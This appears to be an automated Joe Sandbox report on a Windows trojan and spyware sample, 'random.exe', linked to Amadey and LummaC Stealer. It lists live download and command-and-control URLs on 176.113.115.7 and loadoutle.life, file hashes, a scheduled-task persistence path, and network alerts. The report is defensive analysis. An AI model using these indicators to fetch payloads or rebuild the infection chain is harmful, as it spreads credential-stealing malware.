http://crl.rootca1.amazontrust.com/rootca1.crl0	random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7/mine/random.exe	random.exe, 00000000.00000002.1058708309.0000000001817000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	random.exe, 00000000.00000003.955192728.000000000650D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://loadoutle.life/A	random.exe, 00000000.00000003.995887560.0000000001827000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007200494.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.981038236.000000000182A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/v20w	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://loadoutle.life/kpLsOAmr;	random.exe, 00000000.00000003.1017131174.000000000182B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv20	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7//	random.exe, 00000000.00000002.1058904853.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055707943.0000000001823000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	random.exe, 00000000.00000003.954140585.0000000006227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	random.exe, 00000000.00000003.955664268.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.7:80/mine/random.exeoft	random.exe, 00000000.00000002.1058603005.00000000017A4000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055926565.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	random.exe, 00000000.00000003.930052253.0000000006228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://loadoutle.life/kpLsOAmuw	random.exe, 00000000.00000003.1017784602.000000000181D000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007345023.0000000001817000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1007637717.000000000181C000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1058875448.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://loadoutle.life/_)	random.exe, 00000000.00000003.928071515.00000000017A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.113.115.7/	random.exe, 00000000.00000002.1058904853.000000000182B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1055707943.0000000001823000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1058875448.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
176.113.115.7	unknown	Russian Federation	49505	SELECTELRU	false
176.113.115.6	unknown	Russian Federation	49505	SELECTELRU	true
188.114.97.3	loadoutle.life	European Union	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1642341
Start date and time:	2025-03-19 01:35:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/3@1/3
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 23.60.203.209, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target LOVY9V33XUNTEHY6.exe, PID 2724 because it is empty
Execution Graph export aborted for target random.exe, PID 7012 because there are no executed function
Execution Graph export aborted for target rapes.exe, PID 3720 because there are no executed function
Execution Graph export aborted for target rapes.exe, PID 6316 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:36:49	Task Scheduler	Run new task: rapes path: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
20:36:33	API Interceptor	8x Sleep call for process: random.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.7	6xdW3oRY63.exe	Get hash	malicious	Amadey, DarkVision Rat, LummaC Stealer, Vidar	Browse	176.113.115.7/mine/random.exe
	work.js	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.113.115.7/files/unique2/random.exe
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Xmrig	Browse	176.113.115.7/files/crazytimeya/random.exe
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.7/files/qqdoup/random.exe
	VSAXXKuhCu.exe	Get hash	malicious	Amadey, AsyncRAT	Browse	176.113.115.7/files/unique2/random.exe
	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	176.113.115.7/files/qqdoup/random.exe
	13s1HMkHKv.exe	Get hash	malicious	Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer	Browse	176.113.115.7/files/2043702969/dx3hXS1.exe
	wJWNpO6lcm.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	176.113.115.7/files/unique2/random.exe
	download.php.exe.bin.exe	Get hash	malicious	Amadey, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	176.113.115.7/mine/random.exe
	BTn1AT2k3Y.exe	Get hash	malicious	LummaC Stealer	Browse	176.113.115.7/mine/random.exe
176.113.115.6	6xdW3oRY63.exe	Get hash	malicious	Amadey, DarkVision Rat, LummaC Stealer, Vidar	Browse	176.113.115.6/Ni9kiput/index.php
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Xmrig	Browse	176.113.115.6/Ni9kiput/index.php
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6/Ni9kiput/index.php
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6/Ni9kiput/index.php
	VSAXXKuhCu.exe	Get hash	malicious	Amadey, AsyncRAT	Browse	176.113.115.6/Ni9kiput/index.php
	L0erlgyZ6f.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	176.113.115.6/Ni9kiput/index.php
	ET3Sc57mx4.exe	Get hash	malicious	Amadey	Browse	176.113.115.6/Ni9kiput/index.php
	13s1HMkHKv.exe	Get hash	malicious	Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer	Browse	176.113.115.6/Ni9kiput/index.php
	wJWNpO6lcm.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	176.113.115.6/Ni9kiput/index.php
	download.php.exe.bin.exe	Get hash	malicious	Amadey, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	176.113.115.6/Ni9kiput/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
loadoutle.life	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3
	1.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	LaunchV.2.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	SoftWare.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://work-sso-pro-coinbase.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.161.117
	https://sso-robinhood-net--logi--auth.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.151.8
	https://login-gemini-auth.webflow.io/	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://trezzerwalletse.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
	https://geminilogfine.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.151.8
	https://secure-sso--robinhoods-com--autth.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.64.151.8
	https://management-coinpro--eng.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	104.18.160.117
	https://kucoineliyogine.webflow.io/	Get hash	malicious	Unknown	Browse	104.18.161.117
	https://trezowerewallete.webflow.io/	Get hash	malicious	Unknown	Browse	104.18.161.117
	https://0942774-Mailscanner.000-0x2auixx-7yhx.cc/NARMdP/$verify.background@sterlingcheck.com	Get hash	malicious	Unknown	Browse	104.21.52.45
SELECTELRU	https://host09318.com/#gia@gds-industries.com	Get hash	malicious	HTMLPhisher	Browse	94.154.35.68
	6xdW3oRY63.exe	Get hash	malicious	Amadey, DarkVision Rat, LummaC Stealer, Vidar	Browse	176.113.115.6
	PCcG8VAjOB.exe	Get hash	malicious	Amadey	Browse	176.113.115.58
	94.154.34.34-mips-2025-03-03T16_58_39.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.154.34.34
	94.154.34.34-x86-2025-03-03T16_58_39.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.154.34.34
	M6gQuZPvgY.exe	Get hash	malicious	Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.113.115.6
	work.js	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.113.115.7
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Xmrig	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
SELECTELRU	https://host09318.com/#gia@gds-industries.com	Get hash	malicious	HTMLPhisher	Browse	94.154.35.68
	6xdW3oRY63.exe	Get hash	malicious	Amadey, DarkVision Rat, LummaC Stealer, Vidar	Browse	176.113.115.6
	PCcG8VAjOB.exe	Get hash	malicious	Amadey	Browse	176.113.115.58
	94.154.34.34-mips-2025-03-03T16_58_39.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.154.34.34
	94.154.34.34-x86-2025-03-03T16_58_39.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.154.34.34
	M6gQuZPvgY.exe	Get hash	malicious	Amadey, LummaC Stealer, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.113.115.6
	work.js	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.113.115.7
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Xmrig	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6
	random.exe	Get hash	malicious	Amadey	Browse	176.113.115.6

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	DEVM28.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	188.114.97.3
	7T7bCyA.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	CompiledProject.exe.bin.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	KX7TDcm.exe1.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Software Loader.exe.bin.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Router-Scan-2.60-setup.exe.bin.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	TORRENTOLD-1.exe.bin.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse	188.114.97.3
	Folder.exe1.exe	Get hash	malicious	LummaC Stealer, PrivateLoader	Browse	188.114.97.3
	Government of the People's Republic of China has invited nominations.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.3

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2147328
Entropy (8bit):	7.881333034079325
Encrypted:	false
SSDEEP:	49152:gzPUPikOkVPOQI0saUpU7WTR6cukCljXg:wUPp/f4ukCljX
MD5:	66F70F15EAC0CFF85F402A04F64865CE
SHA1:	1670C3C309B3C43C27224491E4ECAA895DBD3D12
SHA-256:	6E22A9DE137C193AA2A710B192BDC23798C5451E7D110654E37F2887AC8E0E0D
SHA-512:	1B8E9ECB06608E884E9EA06FF99680875139B2CE509C8E78BD7AC5C15901550277C5CBD96FA3B3B9119367E98E9127EA9AB6F2AB5769B0CF4BA255C53799BE5D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...)./.,..(...,../...,..)...,.......,...(...,...-...,...-.g.,.Y.%...,.Y.....,.Y.....,.Rich..,.........PE..L...#..g.............................PK...........@...........................K......N!...@.................................W...k.......D...................<4K..............................3K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...kzjvenhc.....p1.....................@...fnpvcctf.....@K....... .............@....taggant.0...PK..".... .............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2147328
Entropy (8bit):	7.881333034079325
Encrypted:	false
SSDEEP:	49152:gzPUPikOkVPOQI0saUpU7WTR6cukCljXg:wUPp/f4ukCljX
MD5:	66F70F15EAC0CFF85F402A04F64865CE
SHA1:	1670C3C309B3C43C27224491E4ECAA895DBD3D12
SHA-256:	6E22A9DE137C193AA2A710B192BDC23798C5451E7D110654E37F2887AC8E0E0D
SHA-512:	1B8E9ECB06608E884E9EA06FF99680875139B2CE509C8E78BD7AC5C15901550277C5CBD96FA3B3B9119367E98E9127EA9AB6F2AB5769B0CF4BA255C53799BE5D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...)./.,..(...,../...,..)...,.......,...(...,...-...,...-.g.,.Y.%...,.Y.....,.Y.....,.Rich..,.........PE..L...#..g.............................PK...........@...........................K......N!...@.................................W...k.......D...................<4K..............................3K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..*.........................@...kzjvenhc.....p1.....................@...fnpvcctf.....@K....... .............@....taggant.0...PK..".... .............@...........................................................................................................................................................................................................................

C:\Windows\Tasks\rapes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\LOVY9V33XUNTEHY6.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.408002024034938
Encrypted:	false
SSDEEP:	6:pj5f4DlVXflNiL1UEZ+lX1X36tkHs+Zgty0l7ltsEt0:pFA5RfaBQ1HBZgtV7dt0
MD5:	CC36181560B2D52297BD72872C938D1B
SHA1:	E1A1BA686A451548A5A4D88B9B66461B44C58330
SHA-256:	CC45AA77B40C2D73362249D31F8A1FA1B1ED588AE5699B3BA3C9BAD18CA4EE38
SHA-512:	36153FC11F02F7ADE758A9549A4620DE15961763B854F56CFC02900C4F54B5AEFD40B3214A6AF1DC29ED5D04C39B90D13B682AC01FFCAC16F91A133708D14AC3
Malicious:	false
Reputation:	low
Preview:	....z.N.&..K.\|...{%oF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.b.b.5.5.6.c.f.f.4.a.\.r.a.p.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.906313944331793
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random.exe
File size:	2'079'232 bytes
MD5:	3c4544122beee2d238e75829fb2c14ab
SHA1:	d709083e8f2bbd1bc26c2004472d26b80a5b6ce9
SHA256:	752a796fd794a3de6d88a8da68c09c6262b91eae6ad4a3fe805022037b957c83
SHA512:	b3ad7d835e32799979160756ff337c468c4f4bcaadcc370e0125be48b13ee3a12041c2901b136d1a9c24d7747f04c047ecddd7d97a9472a89a036d988747a1a1
SSDEEP:	49152:OllF/VPzRhnYdz7ek13SFprH4UKX8hnXdlKYZIaT7L:q5PUz7eY3ApcUjNtlvIaX
TLSH:	C6A512054E602B4CEDDB7332B973F7655AAA47CC23146F49680D4F8D2F4EC9AAA23075
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g..............................I...........@.......................... J......[ ...@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x89f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67D98FC0 [Tue Mar 18 15:22:40 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC1BCCB6E1Ah
sets byte ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5e000	0x300	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x5d000	8df12a7600e6d8ffa30c494fd8e63d47	False	0.6038726478494624	data	7.147721708654879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x300	0x400	a23f646c54e6af22b289f067f6c2d984	False	0.392578125	data	5.265536533343745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	26ebc47e6b47388c52841b00c553e960	False	0.150390625	data	1.0437720338377494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x60000	0x2a3000	0x200	e5f168453b0be7c20f37197de28800f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cgvbmlxy	0x303000	0x19b000	0x19ac00	a266e9e5eb361203c7795cf1bd762ede	False	0.9944972515976872	COM executable for DOS	7.953502629484477	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
geghgyxu	0x49e000	0x1000	0x400	615b90b6bb07b32e856e033a561eb9f1	False	0.787109375	data	6.133889575056251	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49f000	0x3000	0x2200	c0ac6d0b755245138708a4e98675e3bc	False	0.05583639705882353	DOS executable (COM)	0.7612297758895795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x5e058	0x2a5	XML 1.0 document, ASCII text			0.4963072378138848

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-19T01:36:34.326799+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49682	188.114.97.3	443	TCP
2025-03-19T01:36:35.625253+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49683	188.114.97.3	443	TCP
2025-03-19T01:36:37.002392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49684	188.114.97.3	443	TCP
2025-03-19T01:36:38.207560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49685	188.114.97.3	443	TCP
2025-03-19T01:36:39.792569+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49686	188.114.97.3	443	TCP
2025-03-19T01:36:41.285838+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49687	188.114.97.3	443	TCP
2025-03-19T01:36:43.384539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49688	188.114.97.3	443	TCP

Network Port Distribution

Total Packets: 938
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 01:36:33.782938957 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:33.782982111 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:33.783060074 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:33.786935091 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:33.786957979 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.326709032 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.326798916 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:34.329353094 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:34.329365015 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.329612017 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.375849009 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:34.375880957 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:34.376008987 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.765507936 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.765559912 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.765589952 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.765619040 CET	443	49682	188.114.97.3	192.168.2.8
Mar 19, 2025 01:36:34.765621901 CET	49682	443	192.168.2.8	188.114.97.3
Mar 19, 2025 01:36:34.765644073 CET	443	49682	188.114.97.3	192.168.2.8
